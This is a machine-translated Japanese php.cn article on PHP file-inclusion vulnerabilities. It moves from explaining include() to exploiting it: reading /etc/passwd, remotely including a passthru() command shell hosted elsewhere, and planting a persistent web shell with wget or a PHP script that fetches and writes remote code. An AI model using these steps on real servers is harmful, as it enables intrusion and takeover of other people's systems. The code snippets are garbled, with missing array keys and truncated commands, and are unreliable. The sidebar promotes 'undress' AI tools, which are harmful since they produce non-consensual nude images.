ホームページ php教程 PHP开发 PHP リモート インクルード ファイルの脆弱性分析

PHP リモート インクルード ファイルの脆弱性分析

Dec 14, 2016 pm 01:41 PM

ほぼすべての CGI プログラムにはこのようなバグがありますが、具体的な症状は異なります。

1. 危険な関数が含まれています [include()、require()、および include_once()、require_once()]

include() && require() ステートメント: 指定されたファイルをインクルードして実行します。

2 つの構造は、障害の処理方法を除いてまったく同じです。 include() は警告を生成し、require() は致命的なエラーを引き起こします。つまり、ファイルが見つからない場合にページの処理を停止したい場合は、require() を使用します。 include() の場合はそうではなく、スクリプトは引き続き実行されます。
「allow_url_fopen」が PHP でアクティブ化されている場合 (デフォルト構成)、ローカル ファイルの代わりに URL (HTTP またはその他のサポートされているカプセル化プロトコル経由) を使用して、インクルードされるファイルを指定することもできます。ターゲット サーバーがターゲット ファイルを PHP コードとして解釈する場合は、HTTP GET の URL リクエスト文字列を使用して、インクルードされたファイルに変数を渡すことができます。

require_once() &&include_once()
require_once() と include_once() ステートメントは、スクリプト実行中に指定されたファイルをインクルードして実行します。この動作は require() ステートメントに似ていますが、唯一の違いは、ファイル内のコードが既にインクルードされている場合、再度インクルードされないことです。これは、スクリプトの実行中に同じファイルが複数回インクルードされる可能性があり、関数の再定義や変数の再割り当てなどの問題を回避するために、ファイルが 1 回だけインクルードされるようにする必要がある状況に適しています。

2. ファイルをインクルードする理由

プログラマはプログラムを書くとき、同じことをすることを好まないし、同じコード (いくつかの一般的な関数など) を何度も書きたくないので、次のようなコードを書きます。 share.php などの別のファイルで共有し、他のファイルでインクルード呼び出しを行う必要があります。 PHP では、この目的を達成するために上記の関数を使用します。 そのワークフロー: main.php に share.php を含める場合は、次のように include("share.php") を記述します。目的は達成されます。 share.php の関数を使用できます。含める必要があるファイル名をハードコーディングしても問題はありません。問題はどこにあるのでしょうか。
どのファイルを含める必要があるかわからない場合があります。たとえば、まず次のファイルindex.phpのコードを見てください:
[code]

if ($_GET ) {
include $_GET
} else {
include "home.php";
}
[/code]
ごく普通の PHP コードですが、どのように動作するのでしょうか?これには $_GET の意味が関係するため、ここでは説明しません (そうでない場合は、HTTP について別の記事を書くことができます)。GET、POST などを理解できない場合は、関連情報を Google で検索する必要があります。補足をひとつ。
1. 上記のURLを送信し、index.php内のこのページの値($_GET)を取得します。
2. $_GET
が空かどうかを確認します。空でない場合は、include を使用してこのファイルをインクルードします。
3. $_GET
が空の場合は、else を実行してファイル home.php をインクルードします。

3. 脆弱性はなぜ発生するのですか?

URL に従ってファイルを動的に含めることができるのは、どのようにして便利なのでしょうか?質問に対する答えは次のとおりです。私たちは賢くない、常に他の人と違うことを好みます、彼のリンクにはたどりません、含めたい(呼び出したい)ファイルを書きたいかもしれません。たとえば、次のように入力します。次の URL を何気なく入力してください: http://www.jb51.net/php/index.php?page=hello.php。次に、index.php プログラムは、上記の手順を愚かにも実行します。つまり、ページを hello.php として取得し、include(hello.php) に移動します。この時点では、ファイル hello.php がないため、問題が発生します。したがって、インクルードすると次のような警告が報告されます:

Quote:
Warning: include(hello.php) [function.include]: failed to open stream: No such file or directory in /vhost/ 3 行目の php/index.php
警告: include() [function.include]: 3 行目の /vhost/php/index.php にインクルード (include_path='.:') するために 'hello.php' を開けませんでした

注: 上記の警告は、指定した hello.php ファイルが見つからないこと、つまり、指定したパスを持つファイルを含めることができないことを意味し、その後の警告は、指定したファイルが以前に見つからなかったため、警告が表示されます。含まれている場合に発行されます。

4. 悪用方法

上記のとおり、このような脆弱性を悪用するにはどうすればよいでしょうか? 実際には多くの悪用方法がありますが、さらに 3 つの一般的な悪用方法について説明します。ここでの方法は次のとおりです:

1. ターゲット マシン上の他のファイルの読み取りを含む

上記からわかるように、取得されたパラメータ ページはフィルタリングされていないため、ターゲット ホスト上の他の機密ファイルを任意に指定できます。前の警告では、公開された絶対パス (vhost/php/) を確認できます。その後、他のファイルを含めるためにそれを複数回検出できます。たとえば、URL を http://www.jb51.net/php のように指定します。 /index.php?page=. /txt.txt は、現在のパスにある txt.txt ファイルを読み取ることも、.. /../ を使用してディレクトリにジャンプすることもできます (../ をフィルターせずに)。ターゲット ホストに厳格な権限制限がない場合は、機密システム ファイルを読み取るための絶対パス (URL: http://www.phphtm.com/php/index.php?page=/etc/passwd など)、またはApache を起動する権限が比較的高い場合、このファイルの内容を読み取ることができます。それ以外の場合は、「open_basedir 制限が有効です」のような警告が表示されます。

2. 実行可能な PHP トロイの木馬が含まれています

ターゲット ホストの "allow_url_fopen" がアクティブ化されている場合 (デフォルトはアクティブ化されており、変更する人はほとんどいません)、より多くのスペースを使用できるようになり、他の URL を指定できるようになります。たとえば、最初にコマンドを実行するための PHP コードを記述し (コメント付きなのでわかりやすいはずです)、次のように cmd.txt として保存します (サフィックスは重要ではありません)。コンテンツは PHP 形式であるため、それだけです)。
コード: [クリップボードにコピー]
----------------------------------------------------- ---------------------------------------

if (get_magic_quotes_gpc())
{$ _REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);} //エスケープ文字を削除します (文字列内のバックスラッシュ文字を削除できます)
ini_set("max_execution_time",0) //Set の実行時間を設定します。このファイルでは、0 は制限なしを意味します。
echo "
1.S.T
"; // 返された開始行プロンプト情報を出力します
passthru($_REQUEST["cmd"]) // 指定されたコマンド
echo "
" 1.S.T
"; //返された終了行プロンプト情報を出力します
?>
上記のファイルの機能は、cmd で指定されたコマンドを受け入れ、パススルー関数を呼び出して実行し、内容を 1 に返すことです。 S.T. HTTP 経由でアクセスできる限り、このファイルをホストのサーバー (PHP をサポートしていないホストでもかまいません) に保存します。たとえば、アドレスは次のとおりです: http://www.phphtm.com /cmd.txt、そして次の URL を脆弱なホスト上に構築して悪用できます: http://www.phphtm.com/php/index.php?page=http://www.phphtm.com/cmd .txt?cmd=ls, cmd に続くのは、実行する必要があるコマンドです。その他の一般的に使用されるコマンド (*UNIX を例にします) は次のとおりです。ll ディレクトリとファイルをリストします (Windows の dir に相当)
pwd 現在の絶対パスを表示します
id whoami 現在のユーザーを表示します
wget 指定された URL のファイルをダウンロードします

他の人を待ち、BAIDU にアクセスしてホスト上で見つけます、列挙しません。
上記の方法は、Webshel​​l を取得することです (この PHP ファイルはターゲット マシン上にありませんが、確かに Webshel​​l ですよね?笑)

3. ファイルを作成する PHP ファイルが含まれています

ターゲットがまだ取得されていると考えるかもしれません。マシン上に本物の Webshel​​l がある方が信頼性が高くなります。含まれている脆弱性がパッチされたことが誰かに発見された場合、上記の「偽の」Webshel​​l をリモートから組み込むことはできなくなります。右?この心理は理解できます。続けましょう。本物の Web シェルを取得するには、次の 2 つの一般的な方法についても説明します:

1) wget などのコマンドを使用して Web シェルをダウンロードします

これは比較的単純で、上記で取得した疑似 Web シェルで非常に一般的に使用されます。コマンドを使用すると、システム内の非常に強力な役割である wget を呼び出すこともできます。このコマンドの機能については、Google で調べてください。間違いなく混乱するでしょう。それほど複雑にする必要はありません。 、単に -O (--output-document=FILE、ドキュメントを FILE ファイルに書き込みます) を使用するだけです (笑)。
前提として、前の手順に従い、PHP コードを含む Web シェルを HTTP または FTP 経由でアクセスできる場所 (http://www.jb51.net/1stphp.txt など) に配置します。このファイルはWebshel​​lの中身です。次に、前に取得した疑似 Webshel​​l で次の URL を実行します: http://www.phphtm.com/php/index.php?page=http://www.phphtm.com/cmd.txt?cmd=wget http ://www.phphtm.com の場合、現在のディレクトリが書き込み可能であれば、1stphp.php という Web シェルを取得できます。現在のディレクトリが書き込み可能でない場合は、他の方法を考える必要があります。

2) ファイルを使用して作成します

前の wget では、現在のディレクトリに書き込めない、またはターゲット ホストがこのコマンドを無効にしている (またはインストールされていない) という状況が発生する可能性があります。再度回避する必要があります。結合することができます。以前のインクルード ファイルの脆弱性には、ファイルを作成する (ファイルを書き込む) PHP スクリプトが含まれています。 内容は次のとおりです:
CODE: [クリップボードにコピー]
----------------- ------ -------------------------------------------- ------ -------

$f=file_get_contents(http://www.phphtm.com); //指定されたパスでファイル ストリームを開きます
$ff=fopen("./ Upload/1st.php"," a"); //可能なディレクトリを見つけてファイルを作成します
fwrite ($ff,$f); //以前に開いたファイル ストリームを作成したファイルに書き込みます
fclose($ff) ; // 閉じて保存します
?> ファイル
は、上記の wget でダウンロードした php ファイルにまだ書き込まれていますが、方法を改良し、PHP スクリプトで実装することができます。上記の手順に従って、書き込み可能なディレクトリ (ここではアップロードなど) を見つけて、このディレクトリにファイルを作成します: ./upload/1st.php。次に、Webシェルを取得します。

5. あとがき

最後に、ファイルインクルードの脆弱性は基本的には比較的単純な脆弱性ですが、多くのシステムでは依然として高いリスク要因を持っています。注意していれば見つかるものもたくさんあります。問題を分析して解決策を見つけるのが得意であれば、それを使用するプロセスは比較的柔軟です。ゆっくりと進歩することができます。
抜け穴には多くの知識が含まれており、すべてを 1 つずつ説明することはできません。質問するか、Google にアクセスして自分で解決してください。時間が迫っているので、もし説明が不適切であれば皆さんに修正していただければ幸いです。
最後に、この種のことにはさらに練習が必要です。時間があるときに、このプロセスを実行するための具体的な例を見つけます。そうすれば、今すぐそれを探して、どのような抜け穴が見つかるかを確認することもできます。私のより詳細な分析と活用プロセスをここで皆さんと共有できればと思っています。

その他の関連記事については、PHP 中国語 Web サイト (www.php.cn) にご注目ください。

このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

Video Face Swap

Video Face Swap

完全無料の AI 顔交換ツールを使用して、あらゆるビデオの顔を簡単に交換できます。

ホットツール

メモ帳++7.3.1

メモ帳++7.3.1

使いやすく無料のコードエディター

SublimeText3 中国語版

SublimeText3 中国語版

中国語版、とても使いやすい

ゼンドスタジオ 13.0.1

ゼンドスタジオ 13.0.1

強力な PHP 統合開発環境

ドリームウィーバー CS6

ドリームウィーバー CS6

ビジュアル Web 開発ツール

SublimeText3 Mac版

SublimeText3 Mac版

神レベルのコード編集ソフト(SublimeText3)

期限切れの WeChat ファイルを復元する方法? 期限切れの WeChat ファイルは復元できますか? 期限切れの WeChat ファイルを復元する方法? 期限切れの WeChat ファイルは復元できますか? Feb 22, 2024 pm 02:46 PM

WeChat を開き、[自分の設定] を選択し、[一般] を選択してから [記憶域スペース] を選択し、[記憶域スペース] で [管理] を選択し、ファイルを復元する会話を選択して、感嘆符アイコンを選択します。チュートリアル 適用モデル: iPhone13 システム: iOS15.3 バージョン: WeChat 8.0.24 分析 1 まず、WeChat を開き、マイページの [設定] オプションをクリックします。 2 次に、設定ページで [一般オプション] を見つけてクリックします。 3次に、一般ページで「記憶域スペース」をクリックします。 4 次に、ストレージスペースページで「管理」をクリックします。 5最後に、ファイルを回復したい会話を選択し、右側の感嘆符アイコンをクリックします。補足: WeChat ファイルの有効期限は通常、数日です。WeChat で受信したファイルがクリックされなかった場合、WeChat システムは 72 時間後にそのファイルを消去します。WeChat ファイルが閲覧された場合、

形式がサポートされていないか、ファイルが破損しているため、写真ではこのファイルを開けません 形式がサポートされていないか、ファイルが破損しているため、写真ではこのファイルを開けません Feb 22, 2024 am 09:49 AM

Windows では、フォト アプリは写真やビデオを表示および管理するのに便利な方法です。このアプリケーションを通じて、ユーザーは追加のソフトウェアをインストールすることなく、マルチメディア ファイルに簡単にアクセスできます。ただし、写真アプリの使用時に「形式がサポートされていないため、このファイルを開けません」というエラー メッセージが表示されたり、写真やビデオを開こうとしたときにファイルが破損したりするなど、ユーザーが何らかの問題に遭遇することがあります。この状況はユーザーにとって混乱を招き不便になる可能性があり、問題を解決するには調査と修正が必要になります。ユーザーが写真アプリで写真またはビデオを開こうとすると、次のエラーが表示されます。申し訳ありませんが、この形式が現在サポートされていないか、ファイルがサポートされていないため、フォトではこのファイルを開くことができません

Windows 11/10 では削除の準備に時間がかかります Windows 11/10 では削除の準備に時間がかかります Feb 19, 2024 pm 07:42 PM

この記事では、Windowsシステムでファイルやフォルダーを削除するときに「削除の準備ができました」というメッセージが表示される問題の解決方法を紹介します。このプロンプトは、ファイルのアクセス許可のチェック、ファイルが他のプログラムによって占有されているかどうかの確認、削除する項目のサイズの計算など、システムがバックグラウンド操作を実行していることを意味します。あまり長く待たずにファイルを正常に削除できるようにするための回避策をいくつか紹介します。 Windows がファイルを削除するのにこれほど時間がかかるのはなぜですか? Windows がファイルの削除を準備するのにかかる時間は、ファイル サイズ、ストレージ デバイスの速度、バックグラウンド プロセスなどのさまざまな要因の影響を受けます。 「削除の準備をしています」というプロンプトが長い、または停止している場合は、システム リソースの不足、ディスク エラー、またはファイル システムの問題を示している可能性があります。存在する

Tmp形式のファイルは削除できますか? Tmp形式のファイルは削除できますか? Feb 24, 2024 pm 04:33 PM

tmp 形式ファイルは、通常、コンピュータ システムまたはプログラムの実行中に生成される一時ファイル形式です。これらのファイルの目的は、プログラムを適切に実行したり、パフォーマンスを向上させるために一時データを保存することです。プログラムの実行が完了するか、コンピュータが再起動されると、多くの場合、これらの tmp ファイルは必要なくなります。したがって、Tmp 形式のファイルは基本的に削除可能です。さらに、これらの tmp ファイルを削除すると、ハード ディスクの空き容量が確保され、コンピュータが正常に動作するようになります。ただし、Tmp 形式のファイルを削除する前に、次のことを行う必要があります。

GHOファイルのインストール方法 GHOファイルのインストール方法 Feb 19, 2024 pm 10:06 PM

gho ファイルは GhostImage イメージ ファイルであり、通常、ハードディスク全体またはパーティション データをファイルにバックアップするために使用されます。特定のケースでは、ハード ドライブまたはパーティションを以前の状態に復元するために、この gho ファイルをハード ドライブに再インストールする必要があります。 ghoファイルのインストール方法を紹介します。まず、インストールする前に、次のツールとマテリアルを準備する必要があります。 エンティティ gho ファイル: 完全な gho ファイルがあることを確認してください。通常、ファイルには .gho 接尾辞が付いており、バックアップが含まれています。

0x80004005 エラー コードが表示された場合の対処方法 エディターは、0x80004005 エラー コードを解決する方法を説明します。 0x80004005 エラー コードが表示された場合の対処方法 エディターは、0x80004005 エラー コードを解決する方法を説明します。 Mar 21, 2024 pm 09:17 PM

パソコン上のフォルダーを削除または解凍するときに、「エラー 0x80004005: 不明なエラー」というダイアログ ボックスが表示されることがあります。この状況はどう解決すればよいでしょうか?エラー コード 0x80004005 が表示される理由は実際にはたくさんありますが、そのほとんどはウイルスによって引き起こされます。DLL を再登録して問題を解決できます。以下では、エディターがエラー コード 0x80004005 の処理体験を説明します。 。一部のユーザーは、コンピュータの使用時にエラー コード 0X80004005 を表示されます。0x80004005 エラーは主に、コンピュータが特定のダイナミック リンク ライブラリ ファイルを正しく登録していないこと、またはファイアウォールがコンピュータとインターネット間の HTTPS 接続を許可していないことが原因で発生します。それでどうですか

ファイルパスでのスラッシュとバックスラッシュのさまざまな使用法 ファイルパスでのスラッシュとバックスラッシュのさまざまな使用法 Feb 26, 2024 pm 04:36 PM

ファイル パスは、ファイルまたはフォルダーを識別して検索するためにオペレーティング システムによって使用される文字列です。ファイル パスには、パスを区切る 2 つの一般的な記号、つまりスラッシュ (/) とバックスラッシュ () があります。これら 2 つのシンボルは、オペレーティング システムごとに異なる用途と意味を持ちます。スラッシュ (/) は、Unix および Linux システムで一般的に使用されるパス区切り文字です。これらのシステムでは、ファイル パスはルート ディレクトリ (/) から始まり、各ディレクトリ間はスラッシュで区切られます。たとえば、パス /home/user/Document

Quark Cloud Disk から Baidu Cloud Disk にファイルを転送するにはどうすればよいですか? Quark Cloud Disk から Baidu Cloud Disk にファイルを転送するにはどうすればよいですか? Mar 14, 2024 pm 02:07 PM

Quark Netdisk と Baidu Netdisk は現在、ファイルの保存に最も一般的に使用されている Netdisk ソフトウェアです。Quark Netdisk 内のファイルを Baidu Netdisk に保存したい場合は、どうすればよいですか?今回は、Quark Network Disk コンピュータから Baidu Network Disk にファイルを転送するためのチュートリアル手順を編集者がまとめたので、その操作方法を見てみましょう。 QuarkネットワークディスクファイルをBaiduネットワークディスクに保存するにはどうすればよいですか? Quark Network Disk から Baidu Network Disk にファイルを転送するには、まず Quark Network Disk から必要なファイルをダウンロードし、次に Baidu Network Disk クライアントでターゲット フォルダーを選択して開きます。次に、Quark Cloud Disk からダウンロードしたファイルを Baidu Cloud Disk クライアントによって開かれたフォルダーにドラッグ アンド ドロップするか、アップロード機能を使用してファイルを Baidu Cloud Disk に追加します。アップロードが完了したら、Baidu Cloud Disk にファイルが正常に転送されたかどうかを必ず確認してください。それでおしまい

See all articles